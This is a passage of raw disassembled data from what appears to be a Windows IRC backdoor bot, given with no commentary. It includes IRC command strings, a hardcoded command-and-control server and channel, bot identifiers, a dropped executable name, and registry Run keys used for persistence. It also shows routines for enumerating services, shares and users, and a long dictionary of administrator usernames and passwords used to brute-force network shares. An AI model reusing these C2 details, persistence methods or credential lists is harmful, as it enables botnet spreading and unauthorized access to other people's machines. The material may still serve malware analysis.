(%d != %d).',0 align 4 unk_42E55C db 2 ; DATA XREF: sub_40CAF1+195o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUpdateSDkbTran db ' Update: %s (%dKB transferred).',0 align 4 unk_42E59C db 2 ; DATA XREF: sub_40CAF1+183o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFileDownloadSD db ' File download: %s (%dKB transferred).',0 align 4 unk_42E5E4 db 2 ; DATA XREF: sub_40CAF1+77o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCouldnTOpenFil db ' Couldn',27h,'t open file: %s.',0 align 4 aUnknown db 'Unknown',0 ; DATA XREF: sub_40D099:loc_40D0DCo ; sub_40DF4E+10Ao aInvalid db 'Invalid',0 ; DATA XREF: sub_40D099:loc_40D0D6o aDisk db 'Disk',0 ; DATA XREF: sub_40D099:loc_40D0D0o align 4 aNetwork db 'Network',0 ; DATA XREF: sub_40D099:loc_40D0CAo aCdrom db 'Cdrom',0 ; DATA XREF: sub_40D099:loc_40D0C4o align 4 off_42E644 dd offset word_4D4152 ; DATA XREF: sub_40D099:loc_40D0BEo aFailed db 'failed',0 ; DATA XREF: sub_40D12A:loc_40D208o ; sub_40D24E+3Bo align 10h aSkb db '%sKB',0 ; DATA XREF: sub_40D12A+6Co align 4 unk_42E658 db 2 ; DATA XREF: sub_40D24E+8Eo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 63h, 6Fh, 72h db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSDriveSSTotalS db ' %s Drive (%s): %s total, %s free, %s available.',0 align 4 unk_42E6A4 db 2 ; DATA XREF: sub_40D24E+58o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 63h, 6Fh, 72h db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSDriveSFailedT db ' %s Drive (%s): Failed to stat, device not ready.',0 aA_0 db 'A:\',0 ; DATA XREF: sub_40D320:loc_40D365o dword_42E6F4 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_40D4C5+A4o dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_42E740 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF: sub_40D4C5+E3o ; --------------------------------------------------------------------------- loc_42E75C: ; DATA XREF: sub_40D4C5+118o mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dword_42E770 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 ; DATA XREF: sub_40D4C5+13Fo dword_42E784 dd 25207325h, 253A2073h, 0A0D73h ; DATA XREF: sub_40D679+5Do aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_40D679+16o ; sub_40EE72+623o aNotice db 'NOTICE',0 ; DATA XREF: sub_40D679+Fo ; sub_40EE72+62Fo align 10h off_42E7A0 dd offset aAdd ; DATA XREF: sub_40D719+60r ; sub_40DAF0+51r ... ; "Add" off_42E7A4 dd offset aAdded ; DATA XREF: sub_40D719+2Dr ; sub_40DAF0+83r ... ; "Added" dword_42E7A8 dd 0 ; DATA XREF: sub_40D719+18r dd offset aDelete_0 ; "Delete" dd offset aDeleted ; "Deleted" align 8 dd offset aList_0 ; "List" dd offset aListed ; "Listed" dd 0 dd offset aStart_0 ; "Start" dd offset aStarted ; "Started" align 10h dd offset aStop_0 ; "Stop" dd offset aStopped_0 ; "Stopped" dd 1, 42E814h, 42E80Ch, 2, 42E800h, 42E7F4h, 3, 746E6F43h dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0 aPaused db 'Paused',0 align 4 aPause_0 db 'Pause',0 align 4 aStopped_0 db 'Stopped',0 ; DATA XREF: ___:0042E7D4o aStop_0 db 'Stop',0 ; DATA XREF: ___:0042E7D0o align 4 aStarted db 'Started',0 ; DATA XREF: ___:0042E7C8o aStart_0 db 'Start',0 ; DATA XREF: ___:0042E7C4o align 4 aListed db 'Listed',0 ; DATA XREF: ___:0042E7BCo align 4 aList_0 db 'List',0 ; DATA XREF: ___:0042E7B8o align 4 aDeleted db 'Deleted',0 ; DATA XREF: ___:0042E7B0o aDelete_0 db 'Delete',0 ; DATA XREF: ___:0042E7ACo align 4 aAdded db 'Added',0 ; DATA XREF: ___:off_42E7A4o align 4 aAdd db 'Add',0 ; DATA XREF: ___:off_42E7A0o dword_42E868 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D719+67o dd 2BBBB02h aSNoServiceSpec db ' %s: No service specified.',0 dword_42E89C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D719+51o dd 2BBBB02h aErrorWithServi db ' Error with service: ',27h,'%s',27h,'. %s',0 align 4 dword_42E8D4 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D719+33o dd 2BBBB02h aSServiceS_ db ' %s service: ',27h,'%s',27h,'.',0 aAnUnknownErr_0 db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_40D835+12Co align 4 aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_40D835:loc_40D94Do align 4 aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_40D835:loc_40D946o align 4 aTheRequested_1 db 'The requested control code cannot be sent to the service because ' ; DATA XREF: sub_40D835:loc_40D93Fo db 'the state of the service.',0 align 4 aTheServiceHa_0 db 'The service has been marked for deletion.',0 ; DATA XREF: sub_40D835:loc_40D938o align 10h aTheServiceCoul db 'The service could not be logged on. The account does not have the' ; DATA XREF: sub_40D835:loc_40D931o db ' correct access rights.',0 align 4 aTheSpecified_0 db 'The specified service does not exist.',0 ; DATA XREF: sub_40D835:loc_40D92Ao align 4 aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_40D835:loc_40D923o align 4 aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0 ; DATA XREF: sub_40D835:loc_40D91Co align 4 aTheServiceDepe db 'The service depends on a service that does not exist or has been ' ; DATA XREF: sub_40D835:loc_40D915o db 'marked for deletion.',0 align 10h aTheSpecifiedDa db 'The specified database does not exist.',0 ; DATA XREF: sub_40D835:loc_40D90Eo align 4 aAnInstanceOfTh db 'An instance of the service is already running.',0 ; DATA XREF: sub_40D835:loc_40D8E3o align 4 aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to' ; DATA XREF: sub_40D835:loc_40D8DCo db ' the service.',0 align 4 aTheProcessForT db 'The process for the service was started, but it did not call Star' ; DATA XREF: sub_40D835:loc_40D8D5o db 'tServiceCtrlDispatcher.',0 align 4 aAThreadCouldNo db 'A thread could not be created for the service.',0 ; DATA XREF: sub_40D835:loc_40D8CEo align 4 aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_40D835+8Fo aTheServiceCann db 'The service cannot be stopped because other running services are ' ; DATA XREF: sub_40D835:loc_40D8A3o db 'dependent on it.',0 align 10h aTheServiceBina db 'The service binary file could not be found.',0 ; DATA XREF: sub_40D835:loc_40D899o aTheHandleDoesN db 'The handle does not have the required access right.',0 ; DATA XREF: sub_40D835:loc_40D88Fo aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_40D835:loc_40D885o align 4 aTheRequestedCo db 'The requested control code is undefined.',0 ; DATA XREF: sub_40D835:loc_40D87Bo align 4 aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_40D835+3Co align 4 aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_40D9B3+EBo aStopped db ' Stopped',0 ; DATA XREF: sub_40D9B3:loc_40DA7Fo aStarting db ' Starting',0 ; DATA XREF: sub_40D9B3:loc_40DA78o aStoping db ' Stoping',0 ; DATA XREF: sub_40D9B3:loc_40DA71o aRunning db ' Running',0 ; DATA XREF: sub_40D9B3:loc_40DA6Ao aContinuing db ' Continuing',0 ; DATA XREF: sub_40D9B3:loc_40DA63o aPausing db ' Pausing',0 ; DATA XREF: sub_40D9B3:loc_40DA5Co aPaused_0 db ' Paused',0 ; DATA XREF: sub_40D9B3:loc_40DA55o aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_40D9B3+9Bo aTheFollowingWi db 'The following Windows services are registered:',0 ; DATA XREF: sub_40D9B3+25o align 4 dword_42EE38 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DAF0+ACo dd 2BBBB02h aSNoShareSpecif db ' %s: No share specified.',0 align 4 dword_42EE6C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DAF0+8Ao dd 2BBBB02h aSShareS_ db ' %s share: ',27h,'%s',27h,'.',0 align 4 dword_42EE98 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DAF0+58o dd 2BBBB02h aSErrorWithShar db ' %s: Error with share: ',27h,'%s',27h,'. %s',0 align 4 a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_40DCE6+D0o align 4 aNo db 'No',0 ; DATA XREF: sub_40DCE6+BCo align 10h aYes db 'Yes',0 ; DATA XREF: sub_40DCE6+B5o dword_42EEF4 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DCE6+76o dd 2BBBB02h aShareListError db ' Share list error: %s <%ld>',0 align 4 aShareNameResou db 'Share name: Resource: Uses: Desc:',0 ; DATA XREF: sub_40DCE6+26o align 4 dword_42EF64 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DE07+B7o dd 2BBBB02h aSNoUsernameSpe db ' %s: No username specified.',0 align 4 dword_42EF9C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DE07+95o dd 2BBBB02h aSErrorWithUser db ' %s: Error with username: ',27h,'%s',27h,'. %s',0 dword_42EFD8 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DE07+6Do dd 2BBBB02h aSUsernameS_ db ' %s username: ',27h,'%s',27h,'.',0 align 4 dword_42F008 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DF4E+3AFo dd 2BBBB02h aUserInfoErrorL db ' User info error: <%ld>',0 align 4 aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_40DF4E+385o align 10h aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_40DF4E+35Ao align 4 aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_40DF4E+32Fo aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_40DF4E+304o align 4 aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_40DF4E+2D9o align 10h aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_40DF4E+2AEo align 4 aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_40DF4E+283o aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_40DF4E+258o align 4 aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_40DF4E+22Do align 4 aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_40DF4E+202o align 4 aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_40DF4E+1D7o align 4 aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_40DF4E+1ACo align 4 aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_40DF4E+181o align 4 aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_40DF4E+156o align 4 aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_40DF4E+12Bo aGuest db 'Guest',0 ; DATA XREF: sub_40DF4E:loc_40E06Do align 4 aUser_0 db 'User',0 ; DATA XREF: sub_40DF4E:loc_40E066o align 10h aAdministrator db 'Administrator',0 ; DATA XREF: sub_40DF4E:loc_40E05Fo ; ___:0042F774o ... align 10h aCommentS db 'Comment: %S',0 ; DATA XREF: sub_40DF4E+DAo aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_40DF4E+AFo align 10h aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_40DF4E+84o align 10h aAccountS db 'Account: %S',0 ; DATA XREF: sub_40DF4E+50o aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_40E337+14Fo align 4 dword_42F1D4 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40E337+F7o dd 2BBBB02h aAnAccessViolat db ' An access violation has occured.',0 align 10h aS_4 db ' %S',0 ; DATA XREF: sub_40E337+BEo align 4 dword_42F218 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40E337+7Ao dd 2BBBB02h aUserListErrorS db ' User list error: %s <%ld>',0 aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_40E337+29o aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_40E4B7:loc_40E5D4o align 10h aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_40E4B7:loc_40E5CDo align 4 aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_40E4B7:loc_40E5C6o align 4 aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_40E4B7:loc_40E5BFo align 4 aAnUnknownError db 'An unknown error occurred.',0 ; DATA XREF: sub_40E4B7:loc_40E5B8o align 4 aThePasswordIsS db 'The password is shorter than required (or does not meet the passw' ; DATA XREF: sub_40E4B7:loc_40E59Bo db 'ord policy requirement.)',0 align 10h aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_40E4B7:loc_40E594o align 4 aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_40E4B7:loc_40E58Do align 10h aTheOperationIs db 'The operation is allowed only on the primary domain controller of' ; DATA XREF: sub_40E4B7+CFo db ' the domain.',0 align 10h aAGeneralFailur db 'A general failure occurred in the network hardware.',0 ; DATA XREF: sub_40E4B7:loc_40E562o aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_40E4B7:loc_40E55Bo aDeviceOrDirect db 'Device or directory does not exist.',0 ; DATA XREF: sub_40E4B7:loc_40E554o aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_40E4B7:loc_40E54Ao align 4 aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_40E4B7+89o align 10h aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_40E4B7:loc_40E524o align 4 aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_40E4B7:loc_40E51Ao align 4 aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_40E4B7:loc_40E510o align 4 aThisNetworkReq db 'This network request is not supported.',0 ; DATA XREF: sub_40E4B7:loc_40E506o align 4 aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_40E4B7:loc_40E4FCo align 4 aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_40E4B7+3Bo align 10h dword_42F530 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40E5EB+ABo dd 2BBBB02h aSServerSMessag db ' %s <Server: %S> <Message: %S>',0 dword_42F568 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40E5EB+81o dd 2BBBB02h aMessageSentSuc db ' Message sent successfully.',0 align 10h dword_42F5A0 dd 1B58h ; DATA XREF: ___:0040EA4Cr ; ___:0040EAFFr dword_42F5A4 dd 0C8Bh ; DATA XREF: ___:0040EB4Br dword_42F5A8 dd 30EAh ; DATA XREF: sub_40EE72:loc_414C0Ar dword_42F5AC dd 18F4h ; DATA XREF: sub_407252+3Br ; sub_40EE72+52E6r dword_42F5B0 dd 1BB0h ; DATA XREF: sub_407252:loc_407501r ; sub_40EE72:loc_41424Dr dword_42F5B4 dd 0A84h ; DATA XREF: sub_40EE72:loc_4143C3r dword_42F5B8 dd 1 ; DATA XREF: sub_40EE72+665r dword_42F5BC dd 1 ; DATA XREF: ___:0040E7E6r dword_42F5C0 dd 1 ; DATA XREF: sub_40AC42+Cr ; ___:loc_40E9D8r byte_42F5C4 db 2Eh ; DATA XREF: sub_40CFE3:loc_40CFEFr ; sub_40EE72+B05r ... align 4 dword_42F5C8 dd 6 ; DATA XREF: sub_415996+2Br ; sub_415996+51r ... dword_42F5CC dd 4 ; DATA XREF: sub_40EB92+78r ; sub_40EE72+279r ... a8652 db '8652',0 align 4 aCool_0 db 'cool',0 align 10h aMan db 'man',0 align 8 aSym db 'sym',0 dd 0 db 2 dup(0) byte_42F5F2 db 1 ; DATA XREF: sub_40EE72:loc_413D44r ; sub_40EE72+4EDCo aAsn445 db 'asn445',0 align 4 dd 100h, 3 dup(0) aBotid db 'botid',0 ; DATA XREF: ___:0040E703o ; sub_40EE72+3E42o ... align 4 aAbosal7Tool db 'ABOSAL7 tool',0 ; DATA XREF: sub_40EE72:loc_414E22o align 4 aCool db 'cool',0 ; DATA XREF: sub_40EE72+6129o ; sub_40EE72+61F8o align 4 aSaber_ircqforu db 'saber.ircqforum.com',0 ; DATA XREF: ___:0040EA37o ; ___:0040EAF0o aFaak db '#faak#',0 ; DATA XREF: ___:0040EA58o ; ___:0040EB06o align 4 aSaad_ db 'saad.',0 ; DATA XREF: ___:0040EA6Fo ; ___:0040EB18o align 10h byte_42F650 db 73h ; DATA XREF: ___:loc_40EB2Er ; ___:0040EB3Co aAber_ircqforum db 'aber.ircqforum.com',0 aFaak_0 db '#faak#',0 ; DATA XREF: ___:0040EB52o align 4 aSaad__0 db 'saad.',0 ; DATA XREF: ___:0040EB64o align 4 byte_42F674 db 66h ; DATA XREF: sub_402B84+Fo ; sub_4030E8+81o ... db 69h, 72h, 73h dd 69777374h, 78652E6Eh, 65h dword_42F684 dd 65627663h, 6C642E69h, 6Ch ; DATA XREF: sub_4022C6+3Do aSystam13 db 'Systam13',0 ; DATA XREF: sub_40C1AE+Eo align 4 aBot db '[bot]-',0 ; DATA XREF: sub_415996+12o align 4 aFirstswin_exe db 'firstswin.exe',0 align 4 aXi db '+xi',0 ; DATA XREF: sub_40EE72+6274o aF db '#f',0 ; DATA XREF: sub_40EE72:loc_4120F1o ; sub_40EE72+509Co align 4 aF_0 db '#f',0 ; DATA XREF: sub_40EE72+1F2Fo align 10h aF_1 db '#f',0 ; DATA XREF: sub_40EE72+1D75o align 4 off_42F6C4 dd offset a@admin_com ; DATA XREF: sub_40EE72:loc_414FEEo ; "*@admin.com" off_42F6C8 dd offset aH4ckerTool ; DATA XREF: sub_40EE72+8CFr ; sub_40EE72+6198o ; "h4cker tool" db 53h aOftwareMicro_0 db 'oftware\Microsoft\Windows\CurrentVersion\Run',0 align 4 db 53h aOftwareMicro_1 db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0 align 4 aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_415F88+28o ; sub_4162AC+28o align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_415F88+D4o ; sub_4162AC+D4o align 4 dd offset aAdministrator ; "Administrator" dd offset aAdministrato_0 ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin ; "admin" dd offset aStaff ; "staff" dd offset aRoot ; "root" dd offset aComputer ; "computer" dd offset aOwner ; "owner" dd offset aStudent ; "student" dd offset aTeacher ; "teacher" dd offset aWwwadmin ; "wwwadmin" dd offset aGuest_0 ; "guest" dd offset aDefault ; "default" dd offset aDatabase ; "database" dd offset aDba ; "dba" dd offset aOracle ; "oracle" dd offset aDb2 ; "db2" align 8 dd offset byte_43C80C dd offset byte_43C80C dd offset aAdministrato_1 ; "ADMINISTRATOR" dd offset aAdministrator ; "Administrator" dd offset aAdministrato_0 ; "administrator" dd offset aFubar ; "fubar" dd offset aBla ; "bla" dd offset aGuest_1 ; "GUEST" dd offset aRoot_0 ; "ROOT" dd offset aRoot ; "root" dd offset aAdmin_0 ; "ADMIN" dd offset aPassword ; "PASSWORD" dd offset aTemp ; "TEMP" dd offset aShare_0 ; "SHARE" dd offset aWrite ; "WRITE" dd offset aFull_0 ; "FULL" dd offset aLadeda ; "ladeda" dd offset aBoth ; "BOTH" dd offset aRead ; "READ" dd offset aFiles ; "FILES" dd offset aDemo ; "DEMO" dd offset aOwner_0 ; "OWNER" dd offset aOwner_1 ; "Owner" dd offset aEdu ; "edu" dd offset aTest ; "TEST" dd offset aAccess ; "ACCESS" dd offset aUser_1 ; "USER" dd offset aBackup ; "BACKUP" dd offset aSystem ; "SYSTEM" dd offset aServer_0 ; "SERVER" dd offset aPepsi ; "pepsi" dd offset aLocal ; "LOCAL" dd offset aUnix ; "unix" dd offset aLinux ; "linux" dd offset aChangeme ; "changeme" dd offset aChangeme_0 ; "Changeme" dd offset aTemp123 ; "temp123" dd offset a1 ; "1" dd offset a12 ; "12" dd offset a123 ; "123" dd offset a1234 ; "1234" dd offset a12345 ; "12345" dd offset a123456 ; "123456" dd offset a1234567 ; "1234567" dd offset a12345678 ; "12345678" dd offset a123456789 ; "123456789" dd offset a654321 ; "654321" dd offset a54321 ; "54321" dd offset a111 ; "111" dd offset a11111111 ; "11111111" dd offset a88888888 ; "88888888" dd offset aPass_0 ; "pass" dd offset aPasswd ; "passwd" dd offset aDatabase ; "database" dd offset aAbcd ; "abcd" dd offset aAbc123 ; "abc123" dd offset aOracle ; "oracle" dd offset aSybase ; "sybase" dd offset a123qwe ; "123qwe" dd offset aComputer ; "computer" dd offset aInternet ; "Internet" dd offset aSuper ; "super" dd offset a123asd ; "123asd" dd offset aIhavenopass ; "ihavenopass" dd offset aGodblessyou ; "godblessyou" dd offset aEnable ; "enable" dd offset aXp_0 ; "xp" dd offset a2002 ; "2002" dd offset a2003 ; "2003" dd offset a2600 ; "2600" dd offset a110 ; "110" dd offset a111111 ; "111111" dd offset a121212 ; "121212" dd offset a123123 ; "123123" dd offset a1234qwer ; "1234qwer" dd offset a123abc ; "123abc" dd offset a007 ; "007" dd offset aAlpha ; "alpha" dd offset aPatrick ; "patrick" dd offset aPat ; "pat" dd offset aSex ; "sex" dd offset aGod ; "god" dd offset aFoobar ; "foobar" dd offset aNilez ; "Nilez" dd offset aDevil ; "devil" dd offset aNetdevil ; "netdevil" dd offset aNetDevil ; "net-devil" dd offset a0wned ; "0wned" dd offset aOwned ; "owned" dd offset aIrule ; "irule" dd offset aNetfuck ; "netfuck" dd offset aFucked ; "fucked" dd offset aCrash ; "crash" dd offset aA_1 ; "a" dd offset aAaa ; "aaa" dd offset aAbc ; "abc" dd offset aTest123 ; "test123" dd offset aWin ; "win" dd offset aPc ; "pc" dd offset aAsdf ; "asdf" dd offset aSecret ; "secret" dd offset aQwer ; "qwer" dd offset aYxcv ; "yxcv" dd offset aZxcv ; "zxcv" dd offset aHome ; "home" dd offset aLogin ; "login" dd offset aPwd ; "pwd" dd offset aLove ; "love" dd offset aMypc ; "mypc" dd offset aMypc123 ; "mypc123" dd offset aAdmin123 ; "admin123" dd offset aPw123 ; "pw123" dd offset aMypass ; "mypass" dd offset aMypass123 ; "mypass123" dd offset aPw ; "pw" dd offset aMat ; "Mat" dd offset aMatt ; "Matt" dd offset aMatthew ; "Matthew" dd offset aGobo ; "gobo" dd offset aSatan ; "satan" dd offset aSatanik ; "satanik" dd offset aSatanic ; "satanic" dd offset aSpaceman ; "spaceman" dd offset aHeaven ; "heaven" dd offset aW00t ; "w00t" dd offset a0wn3d ; "0wn3d" dd offset aKiller ; "killer" dd offset aLeet ; "leet" dd offset aL33t ; "l33t" dd offset aL337 ; "l337" dd offset aHacker ; "hacker" dd offset aHax0r ; "hax0r" dd offset aScript ; "script" dd offset aScriptkiddie ; "scriptkiddie" dd offset aKiddie ; "kiddie" dd offset aMirc_0 ; "mirc" dd offset aUwontguessme ; "uwontguessme" dd offset aYouwontguessme ; "youwontguessme" dd offset aGuessme ; "guessme" dd offset asc_434C2C ; "x" dd offset aXx ; "xx" dd offset aXxx ; "xxx" dd offset aXxxx ; "xxxx" dd offset aXxxxx ; "xxxxx" dd offset aXxxxxx ; "xxxxxx" dd offset aXxxxxxx ; "xxxxxxx" dd offset aXxxxxxxx ; "xxxxxxxx" dd offset aXxxxxxxxx ; "xxxxxxxxx" dd offset dword_4289BC dd offset a00 ; "00" dd offset aDeath ; "death" dd offset aTesting ; "testing" dd offset a000 ; "000" dd offset a0000 ; "0000" dd offset a00000 ; "00000" dd offset a000000 ; "000000" dd offset aAcademia ; "academia" dd offset aAcademic ; "academic" dd offset aAccept ; "accept" dd offset aAccount ; "account" dd offset aAction ; "action" dd offset aAdam ; "adam" dd offset aAdrian ; "adrian" dd offset aAdrianna ; "adrianna" dd offset aAdult ; "adult" dd offset aAerobics ; "aerobics" dd offset aAids ; "aids" dd offset aAirplane ; "airplane" dd offset aAlaska ; "alaska" dd offset aAlbany ; "albany" dd offset aAlbatros ; "albatros" dd offset aAlbert ; "albert" dd offset aAlert ; "alert" dd offset aAlex ; "alex" dd offset aAlexande ; "alexande" dd offset aAlgebra ; "algebra" dd offset aAlias ; "alias" dd offset aAliases ; "aliases" dd offset aAlice ; "alice" dd offset aAlicia ; "alicia" dd offset aAlisa ; "alisa" dd offset aAlison ; "alison" dd offset aAllison ; "allison" dd offset aAllow ; "allow" dd offset aAlphabet ; "alphabet" dd offset aAmadeus ; "amadeus" dd offset aAmanda ; "amanda" dd offset aAmber ; "amber" dd offset aAmerica ; "america" dd offset aAmorphou ; "amorphou" dd offset aAnal ; "anal" dd offset aAnalog ; "analog" dd offset aAnarchis ; "anarchis" dd offset aAnarchy ; "anarchy" dd offset aAnchor ; "anchor" dd offset aAndrea ; "andrea" dd offset aAndroid ; "android" dd offset aAndromac ; "andromac" dd offset aAndy ; "andy" dd offset aAnfo ; "anfo" dd offset aAngela ; "angela" dd offset aAngerine ; "angerine" dd offset aAngie ; "angie" dd offset aAnimal ; "animal" dd offset aAnimals ; "animals" dd offset aAnita ; "anita" dd offset aAnna ; "anna" dd offset aAnne ; "anne" dd offset aAnnette ; "annette" dd offset aAnon ; "anon" dd offset aAnonymou ; "anonymou" dd offset aAnswer ; "answer" dd offset aAnthrax ; "anthrax" dd offset aAnthropo ; "anthropo" dd offset aAnvils ; "anvils" dd offset aAnything ; "anything" dd offset aApollo13 ; "apollo13" dd offset aApril ; "april" dd offset aAria ; "aria" dd offset aAriadne ; "ariadne" dd offset aArlene ; "arlene" dd offset aArmy ; "army" dd offset aArrow ; "arrow" dd offset aArthur ; "arthur" dd offset aArtist ; "artist" dd offset aAsian ; "asian" dd offset aAsshole ; "asshole" dd offset aAthena ; "athena" dd offset aAtmosphe ; "atmosphe" dd offset aAtom ; "atom" dd offset aAttack ; "attack" dd offset aAuthoriz ; "authoriz" dd offset aAztecs ; "aztecs" dd offset aAzure ; "azure" dd offset aBabe ; "babe" dd offset aBaby ; "baby" dd offset aBacchus ; "bacchus" dd offset aBackdoor ; "backdoor" dd offset aBadass ; "badass" dd offset aBailey ; "bailey" dd offset aBall ; "ball" dd offset aBanana ; "banana" dd offset aBananas ; "bananas" dd offset aBandit ; "bandit" dd offset aBank ; "bank" dd offset aBanks ; "banks" dd offset aBarbara ; "barbara" dd offset aBarber ; "barber" dd offset aBare ; "bare" dd offset aBarf ; "barf" dd offset aBaritone ; "baritone" dd offset aBart ; "bart" dd offset aBartman ; "bartman" dd offset aBaseball ; "baseball" dd offset aBasic ; "basic" dd offset aBass ; "bass" dd offset aBassoon ; "bassoon" dd offset aBatch ; "batch" dd offset aBatman ; "batman" dd offset aBeach ; "beach" dd offset aBeammeup ; "beammeup" dd offset aBear ; "bear" dd offset aBeast ; "beast" dd offset aBeater ; "beater" dd offset aBeauty ; "beauty" dd offset aBeaver ; "beaver" dd offset aBecky ; "becky" dd offset aBeethove ; "beethove" dd offset aBegin ; "begin" dd offset aBehead ; "behead" dd offset aBell ; "bell" dd offset aBeloved ; "beloved" dd offset aBenz ; "benz" dd offset aBeowulf ; "beowulf" dd offset aBerkeley ; "berkeley" dd offset aBerlin ; "berlin" dd offset aBerliner ; "berliner" dd offset aBeryl ; "beryl" dd offset 